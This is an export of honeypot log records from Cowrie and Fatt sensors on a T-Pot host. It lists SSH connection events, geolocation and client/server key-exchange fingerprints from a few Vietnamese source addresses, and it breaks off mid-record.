21503	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:53.015886+03	2021-09-20 14:15:03.747612+03	{"_id": "fAbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "6c67bb7f16fc", "@version": "1", "timestamp": "2021-09-20T11:06:53.015886Z", "@timestamp": "2021-09-20T11:06:53.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21504	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:53.110064+03	2021-09-20 14:15:03.748613+03	{"_id": "fQbjAnwBvYTbRNuEJQPc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "aa9bc632d545", "@version": "1", "timestamp": "2021-09-20T11:06:53.110064Z", "@timestamp": "2021-09-20T11:06:53.110Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21505	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:52.433131+03	2021-09-20 14:15:03.749613+03	{"_id": "fgbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:39886 (192.168.176.2:22) [session: 0f30c03f99b2]", "session": "0f30c03f99b2", "@version": "1", "protocol": "ssh", "src_port": 39886, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.433131Z", "@timestamp": "2021-09-20T11:06:52.433Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21506	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.606522+03	2021-09-20 14:15:03.750613+03	{"_id": "fwbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:57908 (192.168.176.2:22) [session: aa9bc632d545]", "session": "aa9bc632d545", "@version": "1", "protocol": "ssh", "src_port": 57908, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.606522Z", "@timestamp": "2021-09-20T11:06:52.606Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21507	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:52.628888+03	2021-09-20 14:15:03.751613+03	{"_id": "gAbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:57920 (192.168.176.2:22) [session: 554c9cd49e1b]", "session": "554c9cd49e1b", "@version": "1", "protocol": "ssh", "src_port": 57920, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.628888Z", "@timestamp": "2021-09-20T11:06:52.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21508	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:52.738663+03	2021-09-20 14:15:03.753614+03	{"_id": "gQbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:59092 (192.168.176.2:22) [session: 6c67bb7f16fc]", "session": "6c67bb7f16fc", "@version": "1", "protocol": "ssh", "src_port": 59092, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.738663Z", "@timestamp": "2021-09-20T11:06:52.738Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21509	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:52.945323+03	2021-09-20 14:15:03.754613+03	{"_id": "ggbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:59990 (192.168.176.2:22) [session: 1f9927d187ae]", "session": "1f9927d187ae", "@version": "1", "protocol": "ssh", "src_port": 59990, "dest_port": 22, "timestamp": "2021-09-20T11:06:52.945323Z", "@timestamp": "2021-09-20T11:06:52.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21510	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:52.173067+03	2021-09-20 14:15:03.755643+03	{"_id": "lwbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40944, "timestamp": "2021-09-20T11:06:52.173067", "@timestamp": "2021-09-20T11:06:52.173Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21511	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:52.378129+03	2021-09-20 14:15:03.756612+03	{"_id": "mAbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58698, "timestamp": "2021-09-20T11:06:52.378129", "@timestamp": "2021-09-20T11:06:52.378Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21512	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:52.440095+03	2021-09-20 14:15:03.757643+03	{"_id": "mQbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39886, "timestamp": "2021-09-20T11:06:52.440095", "@timestamp": "2021-09-20T11:06:52.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21513	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:52.633957+03	2021-09-20 14:15:03.758642+03	{"_id": "mgbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.110.220.49", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57920, "timestamp": "2021-09-20T11:06:52.633957", "@timestamp": "2021-09-20T11:06:52.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21514	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:52.650457+03	2021-09-20 14:15:03.760643+03	{"_id": "mwbjAnwBvYTbRNuEJgM8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh